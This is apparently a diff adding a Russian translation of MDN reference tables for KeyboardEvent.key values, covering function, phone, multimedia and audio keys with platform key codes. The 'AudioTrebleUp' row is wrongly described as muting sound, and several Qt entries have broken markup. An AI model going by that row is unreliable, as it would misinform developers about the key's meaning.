+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowcircumflex</code> (0xFE69)</td>
+   <td>ꞈ</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowtilde</code> (0xFE6A)</td>
+   <td>̰</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowbreve</code> (0xFE6B)</td>
+   <td>̮</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowdiaeresis</code> (0xFE6C)</td>
+   <td> ̤</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_invertedbreve</code> (0xFE6D)</td>
+   <td>̯</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowcomma</code> (0xFE6E)</td>
+   <td>̦</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_currency</code> (0xFE6F)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_a</code> (0xFE80)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_A</code> (0xFE81)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_e</code> (0xFE82)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_E</code> (0xFE83)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_i</code> (0xFE84)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_I</code> (0xFE85)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_o</code> (0xFE86)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_O</code> (0xFE87)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_u</code> (0xFE88)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_U</code> (0xFE89)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_small_schwa</code> (0xFE8A)</td>
+   <td>ə</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_capital_schwa</code> (0xFE8B)</td>
+   <td>Ə</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_greek</code> (0xFE8C)</td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Функциональные_клавиши">Функциональные клавиши</h2>
+
+<p>Хотя разные платформы поддерживают разное количество функциональных клавиш общего назначения, таких как <kbd>F1</kbd>–<kbd>F12</kbd> (or <kbd>F1</kbd>–<kbd>F10</kbd>, or <kbd>F1</kbd>–<kbd>F15</kbd>, etc.), первые несколько конкретно определены следующим образом.</p>
+
+<p>Если доступно больше функциональных клавиш, их имена продолжают представленный шаблон, продолжая увеличивать числовую часть имени каждой клавиши, так что, например, <code>"F24"</code> это валидное значение клавиши.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"F1"</code></td>
+   <td>Клавиша <kbd>F1</kbd>.</td>
+   <td><code>VK_F1</code> (0x70)</td>
+   <td><code>kVK_F1</code> (0x7A)</td>
+   <td><code>GDK_KEY_F1</code> (0xFFBE)<br>
+    <code>GDK_KEY_KP_F1</code> (0xFF91)<br>
+    <code>Qt::Key_F1</code> (0x01000030)</td>
+   <td><code>KEYCODE_F1</code> (131)</td>
+  </tr>
+  <tr>
+   <td><code>"F2"</code></td>
+   <td>Клавиша <kbd>F2</kbd>.</td>
+   <td><code>VK_F2</code> (0x71)</td>
+   <td><code>kVK_F2</code> (0x78)</td>
+   <td><code>GDK_KEY_F2</code> (0xFFBF)<br>
+    <code>GDK_KEY_KP_F2</code> (0xFF92)<br>
+    <code>Qt::Key_F2</code> (0x01000031)</td>
+   <td><code>KEYCODE_F2</code> (132)</td>
+  </tr>
+  <tr>
+   <td><code>"F3"</code></td>
+   <td>Клавиша <kbd>F3</kbd>.</td>
+   <td><code>VK_F3</code> (0x72)</td>
+   <td><code>kVK_F3</code> (0x63)</td>
+   <td><code>GDK_KEY_F3</code> (0xFFC0)<br>
+    <code>GDK_KEY_KP_F3</code> (0xFF93)<br>
+    <code>Qt::Key_F3</code> (0x01000032)</td>
+   <td><code>KEYCODE_F3</code> (133)</td>
+  </tr>
+  <tr>
+   <td><code>"F4"</code></td>
+   <td>Клавиша <kbd>F4</kbd>.</td>
+   <td><code>VK_F4</code> (0x73)</td>
+   <td><code>kVK_F4</code> (0x76)</td>
+   <td><code>GDK_KEY_F4</code> (0xFFC1)<br>
+    <code>GDK_KEY_KP_F4</code> (0xFF94)<br>
+    <code>Qt::Key_F4</code> (0x01000033)</td>
+   <td><code>KEYCODE_F4</code> (134)</td>
+  </tr>
+  <tr>
+   <td><code>"F5"</code></td>
+   <td>Клавиша <kbd>F5</kbd>.</td>
+   <td><code>VK_F5</code> (0x74)</td>
+   <td><code>kVK_F5</code> (0x60)</td>
+   <td><code>GDK_KEY_F5</code> (0xFFC2)<br>
+    <code>Qt::Key_F5</code> (0x01000034)</td>
+   <td><code>KEYCODE_F5</code> (135)</td>
+  </tr>
+  <tr>
+   <td><code>"F6"</code></td>
+   <td>Клавиша <kbd>F6</kbd>.</td>
+   <td><code>VK_F6</code> (0x75)</td>
+   <td><code>kVK_F6</code> (0x61)</td>
+   <td><code>GDK_KEY_F6</code> (0xFFC3)<br>
+    <code>Qt::Key_F6</code> (0x01000035)</td>
+   <td><code>KEYCODE_F6</code> (136)</td>
+  </tr>
+  <tr>
+   <td><code>"F7"</code></td>
+   <td>Клавиша <kbd>F7</kbd>.</td>
+   <td><code>VK_F7</code> (0x76)</td>
+   <td><code>kVK_F7</code> (0x62)</td>
+   <td><code>GDK_KEY_F7</code> (0xFFC4)<br>
+    <code>Qt::Key_F7</code> (0x01000036)</td>
+   <td><code>KEYCODE_F7</code> (137)</td>
+  </tr>
+  <tr>
+   <td><code>"F8"</code></td>
+   <td>Клавиша <kbd>F8</kbd>.</td>
+   <td><code>VK_F8</code> (0x77)</td>
+   <td><code>kVK_F8</code> (0x64)</td>
+   <td><code>GDK_KEY_F8</code> (0xFFC5)<br>
+    <code>Qt::Key_F8</code> (0x01000037)</td>
+   <td><code>KEYCODE_F8</code> (138)</td>
+  </tr>
+  <tr>
+   <td><code>"F9"</code></td>
+   <td>Клавиша <kbd>F9</kbd>.</td>
+   <td><code>VK_F9</code> (0x78)</td>
+   <td><code>kVK_F9</code> (0x65)</td>
+   <td><code>GDK_KEY_F9</code> (0xFFC6)<br>
+    <code>Qt::Key_F9</code> (0x01000038)</td>
+   <td><code>KEYCODE_F9</code> (139)</td>
+  </tr>
+  <tr>
+   <td><code>"F10"</code></td>
+   <td>Клавиша <kbd>F10</kbd>.</td>
+   <td><code>VK_F10</code> (0x79)</td>
+   <td><code>kVK_F10</code> (0x6D)</td>
+   <td><code>GDK_KEY_F10</code> (0xFFC7)<br>
+    <code>Qt::Key_F10</code> (0x01000039)</td>
+   <td><code>KEYCODE_F10</code> (140)</td>
+  </tr>
+  <tr>
+   <td><code>"F11"</code></td>
+   <td>Клавиша <kbd>F11</kbd>.</td>
+   <td><code>VK_F11</code> (0x7A)</td>
+   <td><code>kVK_F11</code> (0x67)</td>
+   <td><code>GDK_KEY_F11</code> (0xFFC8)<br>
+    <code>Qt::Key_F11</code> (0x0100003A)</td>
+   <td><code>KEYCODE_F11</code> (141)</td>
+  </tr>
+  <tr>
+   <td><code>"F12"</code></td>
+   <td>Клавиша <kbd>F12</kbd>.</td>
+   <td><code>VK_F12</code> (0x7B)</td>
+   <td><code>kVK_F12</code> (0x6F)</td>
+   <td><code>GDK_KEY_F12</code> (0xFFC9)<br>
+    <code>Qt::Key_F12</code> (0x0100003B)</td>
+   <td><code>KEYCODE_F12</code> (142)</td>
+  </tr>
+  <tr>
+   <td><code>"F13"</code></td>
+   <td>Клавиша <kbd>F13</kbd>.</td>
+   <td><code>VK_F13</code> (0x7C)</td>
+   <td><code>kVK_F13</code> (0x69)</td>
+   <td><code>GDK_KEY_F13</code> (0xFFCA)<br>
+    <code>Qt::Key_F13</code> (0x0100003C)</td>
+   <td><code>KEYCODE_F13</code></td>
+  </tr>
+  <tr>
+   <td><code>"F14"</code></td>
+   <td>Клавиша <kbd>F14</kbd>.</td>
+   <td><code>VK_F14</code> (0x7D)</td>
+   <td><code>kVK_F14</code> (0x6B)</td>
+   <td><code>GDK_KEY_F14</code> (0xFFCB)<br>
+    <code>Qt::Key_F1</code>4 (0x0100003D)</td>
+   <td><code>KEYCODE_F14</code></td>
+  </tr>
+  <tr>
+   <td><code>"F15"</code></td>
+   <td>Клавиша <kbd>F15</kbd>.</td>
+   <td><code>VK_F15</code> (0x7E)</td>
+   <td><code>kVK_F15</code> (0x71)</td>
+   <td><code>GDK_KEY_F15</code> (0xFFCC)<br>
+    <code>Qt::Key_F1</code>5 (0x0100003E)</td>
+   <td><code>KEYCODE_F15</code></td>
+  </tr>
+  <tr>
+   <td><code>"F16"</code></td>
+   <td>Клавиша <kbd>F16</kbd>.</td>
+   <td><code>VK_F16</code> (0x7F)</td>
+   <td><code>kVK_F16</code> (0x6A)</td>
+   <td><code>GDK_KEY_F16</code> (0xFFCD)<br>
+    <code>Qt::Key_F1</code>6 (0x0100003F)</td>
+   <td><code>KEYCODE_F16</code></td>
+  </tr>
+  <tr>
+   <td><code>"F17"</code></td>
+   <td>Клавиша <kbd>F17</kbd>.</td>
+   <td><code>VK_F17</code> (0x80)</td>
+   <td><code>kVK_F17</code> (0x40)</td>
+   <td><code>GDK_KEY_F17</code> (0xFFCE)<br>
+    <code>Qt::Key_F1</code>7 (0x01000040)</td>
+   <td><code>KEYCODE_F17</code></td>
+  </tr>
+  <tr>
+   <td><code>"F18"</code></td>
+   <td>Клавиша <kbd>F18</kbd>.</td>
+   <td><code>VK_F18</code> (0x81)</td>
+   <td><code>kVK_F18</code> (0x4F)</td>
+   <td><code>GDK_KEY_F18</code> (0xFFCF)<br>
+    <code>Qt::Key_F1</code>8 (0x01000041)</td>
+   <td><code>KEYCODE_F18</code></td>
+  </tr>
+  <tr>
+   <td><code>"F19"</code></td>
+   <td>Клавиша <kbd>F19</kbd>.</td>
+   <td><code>VK_F19</code> (0x82)</td>
+   <td><code>kVK_F19</code> (0x50)</td>
+   <td><code>GDK_KEY_F19</code> (0xFFD0)<br>
+    <code>Qt::Key_F1</code>9 (0x01000042)</td>
+   <td><code>KEYCODE_F19</code></td>
+  </tr>
+  <tr>
+   <td><code>"F20"</code></td>
+   <td>Клавиша <kbd>F20</kbd>.</td>
+   <td><code>VK_F20</code> (0x83)</td>
+   <td><code>kVK_F20</code> (0x5A)</td>
+   <td><code>GDK_KEY_F20</code> (0xFFD1)<br>
+    <code>Qt::Key_F20</code> (0x01000043)</td>
+   <td><code>KEYCODE_F20</code></td>
+  </tr>
+  <tr>
+   <td><code>"Soft1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Первая функциональная клавиша общего назначения.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Context1</code> (0x01100000)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Soft2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Вторая функциональная клавиша общего назначения.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Context2</code> (0x01100001)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Soft3"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Третья функциональная клавиша общего назначения.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Context3</code> (0x01100002)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Soft4"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Четвертая функциональная клавиша общего назначения.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Context4</code> (0x01100003)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<h2 id="Телефонные_клавиши">Телефонные клавиши</h2>
+
+<p>Эти клавиши представляют собой кнопки, которые обычно существуют на современных смартфонах.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"AppSwitch"</code></td>
+   <td>Представляет список недавно использованных приложений, который позволяет пользователю быстро переключаться между приложениями.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_APP_SWITCH</code> (181)</td>
+  </tr>
+  <tr>
+   <td><code>"Call"</code></td>
+   <td>Кнопка вызова <kbd>Call</kbd>. Набирает номер, который был введен.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Call</code> (0x01100004)</td>
+   <td><code>KEYCODE_CALL</code> (5)</td>
+  </tr>
+  <tr>
+   <td><code>"Camera"</code></td>
+   <td>Кнопка камеры <kbd>Camera</kbd>. Включает камеру.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Camera</code> (0x01100020)</td>
+   <td><code>KEYCODE_CAMERA</code> (27)</td>
+  </tr>
+  <tr>
+   <td><code>"CameraFocus"</code></td>
+   <td>Кнопка фокусировки <kbd>Focus</kbd>. Фокусирует камеру.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_CameraFocus</code> (0x01100021)</td>
+   <td><code>KEYCODE_FOCUS</code> (80)</td>
+  </tr>
+  <tr>
+   <td><code>"EndCall"</code></td>
+   <td>Кнопка завершения вызова <kbd>End Call</kbd> или <kbd>Hang Up</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Hangup</code> (0x01100005)</td>
+   <td><code>KEYCODE_ENDCALL</code> (6)</td>
+  </tr>
+  <tr>
+   <td><code>"GoBack"</code></td>
+   <td>Кнопка "Назад" <kbd>Back</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_BACK</code> (4)</td>
+  </tr>
+  <tr>
+   <td><code>"GoHome"</code> [1]</td>
+   <td>Кнопка <kbd>Home</kbd>. <span class="tlid-translation translation" lang="ru"><span title="">Возвращает пользователя на главный экран телефона (обычно это средство запуска приложений).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_HOME</code> (3)</td>
+  </tr>
+  <tr>
+   <td><code>"HeadsetHook"</code></td>
+   <td>Клавиша гарнитуры<kbd>Headset Hook</kbd>. Обычно это кнопка на гарнитуре, которая используется для отбоя вызовов и воспроизведения или приостановки мультимедиа.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_ToggleCallHangup</code> (0x01100007)</td>
+   <td><code>KEYCODE_HEADSETHOOK</code> (79)</td>
+  </tr>
+  <tr>
+   <td><code>"LastNumberRedial"</code></td>
+   <td>Клавиша перенабора номера <kbd>Redial</kbd>. Набирает последний набранный номер.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_LastNumberRedial</code> (0x01100009)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Notification"</code></td>
+   <td>Клавиша уведомления<kbd>Notification</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NOTIFICATION</code> (83)</td>
+  </tr>
+  <tr>
+   <td><code>"MannerMode"</code></td>
+   <td>Кнопка, которая циклически переключается между режимами уведомлений: бесшумный, вибрировать, звонить и так далее.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MANNER_MODE</code> (205)</td>
+  </tr>
+  <tr>
+   <td><code>"VoiceDial"</code></td>
+   <td>Клавиша<kbd>Voice Dial</kbd>. <span class="tlid-translation translation" lang="ru"><span title="">Запускает голосовой набор.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_VoiceDial</code> (0x01100008)</td>
+   <td><code>KEYCODE_VOICE_ASSIST</code> (231)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] До Firefox 37, кнопка Home генерирует значение <code>"Exit"</code>. Начиная с Firefox 37, генерирует <code>"MozHomeScreen"</code>.</p>
+
+<h2 id="Мультимедийные_клавиши"><span class="tlid-translation translation" lang="ru"><span title="">Мультимедийные клавиши</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Мультимедийные клавиши - это дополнительные кнопки или клавиши для управления мультимедийными устройствами, которые есть на некоторых клавиатурах.</span></span></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"ChannelDown"</code></td>
+   <td>Переключается на предыдущий канал.</td>
+   <td><code>APPCOMMAND_MEDIA_CHANNEL_DOWN</code></td>
+   <td></td>
+   <td><code>Qt::Key_ChannelDown</code> (0x01000119)</td>
+   <td><code>KEYCODE_CHANNEL_DOWN</code> (167)</td>
+  </tr>
+  <tr>
+   <td><code>"ChannelUp"</code></td>
+   <td>Переключается на следующий канал.</td>
+   <td><code>APPCOMMAND_MEDIA_CHANNEL_UP</code></td>
+   <td></td>
+   <td><code>Qt::Key_ChannelUp</code> (0x01000118)</td>
+   <td><code>KEYCODE_CHANNEL_UP</code> (166)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaFastForward"</code> [2]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Запускает, продолжает или увеличивает скорость быстрой перемотки мультимедиа вперед.</span></span></td>
+   <td><code>APPCOMMAND_MEDIA_FAST_FORWARD</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioForward (0x1008FF97)<br>
+    Qt:Key_AudioForward</code> (0x01000102)</td>
+   <td><code>KEYCODE_MEDIA_FAST_FORWARD</code> (90)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaPause"</code></td>
+   <td>
+    <p>Приостанавливает воспроизведение текущего медиафайла.</p>
+
+    <div class="blockIndicator note">
+    <p><strong>Заметка:</strong> Некоторые старые приложения используют просто "паузу", но это неверно.</p>
+    </div>
+   </td>
+   <td><code>APPCOMMAND_MEDIA_PAUSE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioPause</code> (0x1008FF31)<br>
+    <code>Qt::Key_MediaPause</code> (0x1000085)</td>
+   <td><code>KEYCODE_MEDIA_PAUSE</code> (127)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaPlay"</code></td>
+   <td>Запускает или продолжает воспроизведение мультимедиа с нормальной скоростью, если еще не делает этого. В противном случае не имеет эффекта.</td>
+   <td><code>APPCOMMAND_MEDIA_PLAY</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioPlay</code> (0x1008FF14)</td>
+   <td><code>KEYCODE_MEDIA_PLAY</code><code> (126)</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaPlayPause"</code></td>
+   <td>Переключение между воспроизведением и приостановкой текущего медиафайла.</td>
+   <td><code>VK_MEDIA_PLAY_PAUSE</code> (0xB3)<br>
+    <code>APPCOMMAND_MEDIA_PLAY_PAUSE</code></td>
+   <td></td>
+   <td><code>Qt::Key_MediaTogglePlayPause</code> (0x1000086)</td>
+   <td><code>KEYCODE_MEDIA_PLAY_PAUSE</code> (85)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaRecord"</code></td>
+   <td>Запуск или возобновление записи медиафайла.</td>
+   <td><code>APPCOMMAND_MEDIA_RECORD</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioRecord</code> (0x1008FF1C)<br>
+    <code>Qt::Key_MediaRecord</code> (0x01000084)</td>
+   <td><code>KEYCODE_MEDIA_RECORD</code><code> (130)</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaRewind"</code></td>
+   <td>Запуск, продолжение или увеличение скорости перемотки медиафайла.</td>
+   <td><code>APPCOMMAND_MEDIA_REWIND</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioRewind</code> (0x1008FF3E)<br>
+    <code>Qt::Key_AudioRewind</code> (0x010000C5)</td>
+   <td><code>KEYCODE_MEDIA_REWIND</code><code> (89)</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaStop"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Останавливает текущую медиа-активность (такую как воспроизведение, запись, пауза, перемотка вперед или назад).</span> <span title="">Не действует, если медиафайл уже остановлен.</span></span></td>
+   <td><code>VK_MEDIA_STOP</code> (0xB2)<br>
+    <code>APPCOMMAND_MEDIA_STOP</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioStop</code> (0x1008FF15)<br>
+    <code>Qt::Key_MediaStop</code> (0x01000081)</td>
+   <td><code>KEYCODE_MEDIA_STOP</code> (86)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaTrackNext"</code> [1]</td>
+   <td>Seeks to the next media or program track.</td>
+   <td><code>VK_MEDIA_NEXT_TRACK</code> (0xB0)<br>
+    <code>APPCOMMAND_MEDIA_NEXTTRACK</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioNext</code> (0x1008FF17)<br>
+    <code>Qt::Key_MediaNext</code> (0x01000083)</td>
+   <td><code>KEYCODE_MEDIA_NEXT</code> (87)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaTrackPrevious"</code> [1]</td>
+   <td>Seeks to the previous media or program track.</td>
+   <td><code>VK_MEDIA_PREV_TRACK</code> (0xB1)<br>
+    <code>APPCOMMAND_MEDIA_PREVIOUSTRACK</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioPrev</code> (0x1008FF16)<br>
+    <code>Qt::Key_MediaPrevious</code> (0x01000082)</td>
+   <td><code>KEYCODE_MEDIA_PREVIOUS</code> (88)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Internet Explorer, Edge, и Firefox (36 и более ранние) используют <code>"MediaNextTrack"</code> и <code>"MediaPreviousTrack"</code> вместо <code>"MediaTrackNext"</code> и <code>"MediaTrackPrevious"</code>.</p>
+
+<p>[2] До Firefox 37, Firefox генерировал значение <code>"FastFwd"</code> <span class="tlid-translation translation" lang="ru"><span title="">на некоторых платформах и</span></span> <code>"Unidentified"</code> на других вместо <code>"MediaFastForward"</code>.</p>
+
+<h2 id="Клавиши_управления_звуком"><span class="tlid-translation translation" lang="ru"><span title="">Клавиши управления звуком</span></span></h2>
+
+<p>Эти мультимедийные клавиши используются специально для управления звуком.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"AudioBalanceLeft"</code></td>
+   <td>Регулирует баланс звука влево.</td>
+   <td><code>VK_AUDIO_BALANCE_LEFT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBalanceRight"</code></td>
+   <td>Регулирует баланс звука вправо.</td>
+   <td><code>VK_AUDIO_BALANCE_RIGHT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassDown"</code></td>
+   <td>Уменьшает количество басов.</td>
+   <td><code>APPCOMMAND_BASS_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassBoostDown"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Уменьшает степень усиления басов или циклически перемещается вниз по набору режимов или состояний усиления басов.</span></span></td>
+   <td><code>VK_BASS_BOOST_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassBoostToggle"</code></td>
+   <td>Включает и выключает усиление басов.</td>
+   <td><code>APPCOMMAND_BASS_BOOST</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassBoostUp"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Увеличивает степень усиления басов или циклически перемещается вверх по набору режимов или состояний усиления басов.</span></span></td>
+   <td><code>VK_BASS_BOOST_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassUp"</code></td>
+   <td>Увеличивает количество басов.</td>
+   <td><code>APPCOMMAND_BASS_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioFaderFront"</code></td>
+   <td>Смещает регулятор уровня сигнала вперед.</td>
+   <td><code>VK_FADER_FRONT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioFaderRear"</code></td>
+   <td>Смещает регулятор уровня сигнала назад.</td>
+   <td><code>VK_FADER_REAR</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioSurroundModeNext"</code></td>
+   <td>Выбор следующего доступного режима объемного звучания.</td>
+   <td><code>VK_SURROUND_MODE_NEXT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioTrebleDown"</code></td>
+   <td>Уменьшает количество высоких частот.</td>
+   <td><code>APPCOMMAND_TREBLE_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioTrebleUp"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Отключает звук.</span></span></td>
+   <td><code>APPCOMMAND_TREBLE_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioVolumeDown" [1]</code></td>
+   <td>Уменьшает громкость звука.</td>
+   <td><code>VK_VOLUME_DOWN</code> (0xAE)<br>
+    <code>APPCOMMAND_VOLUME_DOWN</code></td>
+   <td><code>kVK_VolumeDown</code> (0x49)</td>
+   <td><code>GDK_KEY_AudioLowerVolume</code> (0x1008FF11)<br>
+    <code>Qt::Key_VolumeDown</code> (0x01000070)</td>
+   <td><code>KEYCODE_VOLUME_DOWN</code> (25)</td>
+  </tr>
+  <tr>
+   <td><code>"AudioVolumeMute" [1]</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Отключает звук.</span></span></td>
+   <td><code>VK_VOLUME_MUTE</code> (0xAD)<br>
+    <code>APPCOMMAND_VOLUME_MUTE</code></td>
+   <td><code>kVK_Mute</code> (0x4A)</td>
+   <td><code>GDK_KEY_AudioMute</code> (0x1008FF12)<br>
+    <code>Qt::Key_VolumeMute</code> (0x01000071)</td>
+   <td><code>KEYCODE_VOLUME_MUTE</code> (164)</td>
+  </tr>
+  <tr>
+   <td><code>"AudioVolumeUp" [1]</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Увеличивает громкость звука.</span></span></td>
+   <td><code>VK_VOLUME_UP</code> (0xAF)<br>
+    <code>APPCOMMAND_VOLUME_UP</code></td>
+   <td><code>kVK_VolumeUp</code> (0x48)</td>
+   <td><code>GDK_KEY_AudioRaiseVolume</code> (0x1008FF13)<br>
+    <code>Qt::Key_VolumeUp</code> (0x01000072)</td>
+   <td><code>KEYCODE_VOLUME_UP</code> (24)</td>
+  </tr>
+  <tr>
+   <td><code>"MicrophoneToggle"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает микрофон.</span></span></td>
+   <td><code>APPCOMMAND_MIC_ON_OFF_TOGGLE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MicrophoneVolumeDown"</code></td>
+   <td>Уменьшает громкость входного сигнала микрофона.</td>
+   <td><code>APPCOMMAND_MICROPHONE_VOLUME_DOWN</code></td>
+   <td></td>
+   <td><code>Qt::Key_MicVolumeDown</code> (0x0100011E)</td>
+   <td></td>
+  </tr>
+  <tr>
